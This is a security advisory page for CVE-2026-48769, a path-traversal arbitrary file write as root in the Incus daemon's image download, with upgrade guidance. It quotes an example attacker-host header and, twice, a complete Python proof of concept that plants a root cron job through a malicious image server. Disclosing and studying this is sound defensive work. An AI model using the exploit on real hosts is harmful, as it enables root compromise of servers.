CVE-2026-48769: Github.com/lxc/incus/v7/cmd/incusd Incus Has An Arbitrary File Vulnerability

CRITICAL
Advisory Identifier: GHSA-f6m5-xw2g-xc4x
CVSS 9.9
CWE-20
Published
Advisory Summary

CVE-2026-48769 is a CRITICAL (CVSS 9.9) incus has an arbitrary file vulnerability (CWE-20: Improper Input Validation) affecting Github.com/lxc/incus/v7/cmd/incusd libraries in the Go ecosystem. The issue involves incus has an arbitrary file write on its client due to trusted image hash. Remediation is available by upgrading affected packages to version 7.2.0.

CVE-2026-48769 at a Glance

CVE Identifier CVE-2026-48769
GHSA Identifier GHSA-f6m5-xw2g-xc4x
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-20: Improper Input Validation
Affected Product Github.com/lxc/incus/v7/cmd/incusd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-48769

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v7/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v7/cmd/incusd fixed: 7.2.0
Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v7/cmd/incusd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48769, inspect your project dependencies for Github.com/lxc/incus/v7/cmd/incusd:

inspect dependencies for github.com/lxc/incus/v7/cmd/incusd

Analyze the terminal output to locate any version of Github.com/lxc/incus/v7/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.2.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Github.com/lxc/incus/v7/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")} if not allow_error and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}") return resp.status, data def images_path(project: str) -> str: return "/1.0/images?project=" + quote(project) def cron_payload(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8") def image_url_body(project_url: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": project_url.rstrip("/") + "/stage", }, "public": public, } def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler) server.hash_path = args.hash_path server.advertise_url = args.advertise_url server.payload = payload server.hold_seconds = args.hold_seconds server.payload_requested = threading.Event() thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket") parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.add_argument("--cert", help="client certificate for remote Incus") parser.add_argument("--key", help="client private key for remote Incus") parser.add_argument("--cacert", help="CA certificate for remote Incus") parser.add_argument("--insecure", action="store_true", help="disable TLS verification") parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout") parser.add_argument("--project", default="default", help="project used for image import") parser.add_argument("--public", action="store_true", help="mark imported image public") parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash") parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images") parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger") args = parser.parse_args() if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.execute_trigger and not args.yes_i_understand_this_writes_host_file: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file") payload = cron_payload(args.command) trigger_body = image_url_body(args.advertise_url, args.public) print("[*] exploit primitive: direct image URL unvalidated hash path host write") print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage") print(f"[*] returned Incus-Image-Hash: {args.hash_path}") print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload") print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[*] cron payload: {payload.decode().rstrip()}") print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}") if not args.execute_trigger: print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0 server = start_server(args, payload) print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}") status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True) print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}") if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)): print("[*] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window") print("[*] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.hold_seconds - 30)) server.shutdown() server.server_close() return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) ``` ### Impact An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.

CVE-2026-48769 Affected Github.com/lxc/incus/v7/cmd/incusd Versions

1 component(s)
Fixed Versions:
7.2.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v7/cmd/incusd
Go
< 7.2.0
7.2.0

References

Frequently Asked Questions

What is CVE-2026-48769?
CVE-2026-48769 is a security vulnerability in Github.com/lxc/incus/v7/cmd/incusd involving Incus has an arbitrary file write on its client due to trusted image hash under CWE-20: Improper Input Validation.
Which Github.com/lxc/incus/v7/cmd/incusd versions are affected?
Affected versions include releases prior to 7.2.0 across affected packages: github.com/lxc/incus/v7/cmd/incusd.
What version fixes CVE-2026-48769?
Upgrading to 7.2.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v7/cmd/incusd affected?
Yes, github.com/lxc/incus/v7/cmd/incusd is affected in releases prior to 7.2.0. Upgrade your dependency to 7.2.0 or later.
What is the CVSS score of CVE-2026-48769?
CVE-2026-48769 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-48769?
CVE-2026-48769 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Go dependencies for CVE-2026-48769?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v7/cmd/incusd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f6m5-xw2g-xc4x",
  "modified" : "2026-06-26T19:13:18Z",
  "published" : "2026-06-26T19:13:18Z",
  "aliases" : [ "CVE-2026-48769" ],
  "summary" : "Incus has an arbitrary file write on its client due to trusted image hash",
  "details" : "### Summary\n\nAn arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server.\n\n\n### Details\n\n- `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias`  and `Server`.\n- `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string.\n- `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`.\n- `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file.\n- `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated.\n- `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.\n\nA malicious image server returning something along the following will cause the arbitrary file write.\n\n```\nIncus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce\nIncus-Image-URL: http://attacker/payload\n```\n\n\n### PoC\n\nThe script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.\n\nThe following script was generated by an LLM.\n\n```\n#!/usr/bin/env python3\n\"\"\"Direct image URL hash path traversal to transient host cron write.\n\nFor `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory.\n\nDefault mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file.\n\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport http.client\nimport json\nimport shlex\nimport socket\nimport ssl\nimport sys\nimport threading\nimport time\nimport urllib.parse\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nfrom typing import Any\n\n\nDEFAULT_SOCKET = \"/var/lib/incus/unix.socket\"\nDEFAULT_TRAVERSAL = \"../../../../etc/cron.d/incus-direct-image-url-rce\"\n\n\nclass UnixHTTPConnection(http.client.HTTPConnection):\n    def __init__(self, socket_path: str, timeout: int = 120):\n        super().__init__(\"incus\", timeout=timeout)\n        self.socket_path = socket_path\n\n    def connect(self) -> None:\n        sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n        sock.settimeout(self.timeout)\n        sock.connect(self.socket_path)\n        self.sock = sock\n\n\nclass RCEHTTPServer(ThreadingHTTPServer):\n    hash_path: str\n    advertise_url: str\n    payload: bytes\n    hold_seconds: int\n    payload_requested: threading.Event\n\n\nclass DirectImageHandler(BaseHTTPRequestHandler):\n    protocol_version = \"HTTP/1.1\"\n    server_version = \"direct-image-rce/1.0\"\n\n    def log_message(self, fmt: str, *args: Any) -> None:\n        print(f\"[http] {self.address_string()} - {fmt % args}\", flush=True)\n\n    def do_HEAD(self) -> None:\n        if self.path != \"/stage\":\n            self.send_error(404)\n            return\n\n        srv = self.server\n        assert isinstance(srv, RCEHTTPServer)\n        self.send_response(200)\n        self.send_header(\"Incus-Image-Hash\", srv.hash_path)\n        self.send_header(\"Incus-Image-URL\", srv.advertise_url.rstrip(\"/\") + \"/payload\")\n        self.send_header(\"Connection\", \"close\")\n        self.end_headers()\n\n    def do_GET(self) -> None:\n        if self.path != \"/payload\":\n            self.send_error(404)\n            return\n\n        srv = self.server\n        assert isinstance(srv, RCEHTTPServer)\n        srv.payload_requested.set()\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.send_header(\"Cache-Control\", \"no-store\")\n        self.end_headers()\n        self.wfile.write(srv.payload)\n        self.wfile.flush()\n        print(f\"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s\", flush=True)\n        time.sleep(srv.hold_seconds)\n        self.close_connection = True\n\n\ndef quote(value: str) -> str:\n    return urllib.parse.quote(value, safe=\"\")\n\n\ndef tls_context(args: argparse.Namespace) -> ssl.SSLContext:\n    if args.insecure:\n        ctx = ssl._create_unverified_context()\n    else:\n        ctx = ssl.create_default_context(cafile=args.cacert)\n\n    if args.cert:\n        ctx.load_cert_chain(args.cert, args.key)\n\n    return ctx\n\n\ndef connection(args: argparse.Namespace) -> http.client.HTTPConnection:\n    if args.url:\n        parsed = urllib.parse.urlparse(args.url)\n        if parsed.scheme != \"https\":\n            raise ValueError(\"--url must use https\")\n\n        return http.client.HTTPSConnection(\n            parsed.hostname,\n            parsed.port or 8443,\n            timeout=args.timeout,\n            context=tls_context(args),\n        )\n\n    return UnixHTTPConnection(args.socket, timeout=args.timeout)\n\n\ndef request_json(\n    args: argparse.Namespace,\n    method: str,\n    path: str,\n    obj: dict[str, Any] | None,\n    allow_error: bool = False,\n) -> tuple[int, dict[str, Any]]:\n    body = None if obj is None else json.dumps(obj).encode(\"utf-8\")\n    headers = {\"Host\": \"incus\"}\n    if body is not None:\n        headers[\"Content-Type\"] = \"application/json\"\n\n    conn = connection(args)\n    conn.request(method, path, body=body, headers=headers)\n    resp = conn.getresponse()\n    raw = resp.read()\n    conn.close()\n\n    try:\n        data = json.loads(raw) if raw else {}\n    except json.JSONDecodeError:\n        data = {\"raw\": raw.decode(\"utf-8\", \"replace\")}\n\n    if not allow_error and (resp.status >= 400 or data.get(\"type\") == \"error\"):\n        raise RuntimeError(f\"{method} {path} failed with HTTP {resp.status}: {data}\")\n\n    return resp.status, data\n\n\ndef images_path(project: str) -> str:\n    return \"/1.0/images?project=\" + quote(project)\n\n\ndef cron_payload(command: str) -> bytes:\n    return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode(\"utf-8\")\n\n\ndef image_url_body(project_url: str, public: bool) -> dict[str, Any]:\n    return {\n        \"source\": {\n            \"type\": \"url\",\n            \"url\": project_url.rstrip(\"/\") + \"/stage\",\n        },\n        \"public\": public,\n    }\n\n\ndef start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:\n    server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)\n    server.hash_path = args.hash_path\n    server.advertise_url = args.advertise_url\n    server.payload = payload\n    server.hold_seconds = args.hold_seconds\n    server.payload_requested = threading.Event()\n\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    return server\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser(description=\"Incus direct image URL hash traversal cron RCE PoC\")\n    parser.add_argument(\"--socket\", default=DEFAULT_SOCKET, help=\"Incus Unix socket\")\n    parser.add_argument(\"--url\", help=\"remote Incus URL, for example https://host.ctf:8443\")\n    parser.add_argument(\"--cert\", help=\"client certificate for remote Incus\")\n    parser.add_argument(\"--key\", help=\"client private key for remote Incus\")\n    parser.add_argument(\"--cacert\", help=\"CA certificate for remote Incus\")\n    parser.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n    parser.add_argument(\"--timeout\", type=int, default=120, help=\"Incus request timeout\")\n    parser.add_argument(\"--project\", default=\"default\", help=\"project used for image import\")\n    parser.add_argument(\"--public\", action=\"store_true\", help=\"mark imported image public\")\n    parser.add_argument(\"--listen-host\", default=\"0.0.0.0\", help=\"HTTP listen address\")\n    parser.add_argument(\"--listen-port\", type=int, default=8088, help=\"HTTP listen port\")\n    parser.add_argument(\"--advertise-url\", default=\"http://127.0.0.1:8088\", help=\"URL reachable by the Incus daemon\")\n    parser.add_argument(\"--hash-path\", default=DEFAULT_TRAVERSAL, help=\"value returned in Incus-Image-Hash\")\n    parser.add_argument(\"--hold-seconds\", type=int, default=90, help=\"keep payload response open for this many seconds\")\n    parser.add_argument(\"--command\", default=\"id > /tmp/incus-direct-image-url-rce\", help=\"command cron should run\")\n    parser.add_argument(\"--execute-trigger\", action=\"store_true\", help=\"start server and trigger POST /1.0/images\")\n    parser.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute-trigger\")\n    args = parser.parse_args()\n\n    if bool(args.cert) != bool(args.key):\n        parser.error(\"--cert and --key must be supplied together\")\n    if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:\n        parser.error(\"--execute-trigger requires --yes-i-understand-this-writes-host-file\")\n\n    payload = cron_payload(args.command)\n    trigger_body = image_url_body(args.advertise_url, args.public)\n\n    print(\"[*] exploit primitive: direct image URL unvalidated hash path host write\")\n    print(f\"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage\")\n    print(f\"[*] returned Incus-Image-Hash: {args.hash_path}\")\n    print(f\"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload\")\n    print(f\"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce\")\n    print(f\"[*] cron payload: {payload.decode().rstrip()}\")\n    print(f\"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}\")\n\n    if not args.execute_trigger:\n        print(\"[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test\")\n        return 0\n\n    server = start_server(args, payload)\n    print(f\"[*] HTTP server listening on {args.listen_host}:{args.listen_port}\")\n\n    status, data = request_json(args, \"POST\", images_path(args.project), trigger_body, allow_error=True)\n    print(f\"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}\")\n\n    if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):\n        print(\"[*] daemon requested payload; cron file should exist until the held response is released\")\n    else:\n        print(\"[!] daemon did not request payload within the wait window\")\n\n    print(\"[*] leaving HTTP server active for the remaining hold window\")\n    time.sleep(max(0, args.hold_seconds - 30))\n    server.shutdown()\n    server.server_close()\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except BrokenPipeError:\n        raise SystemExit(1)\n    except Exception as exc:\n        print(f\"[-] {exc}\", file=sys.stderr)\n        raise SystemExit(1)\n```\n\n\n### Impact\n\nAn arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T19:13:18Z",
    "nvd_published_at" : null
  }
}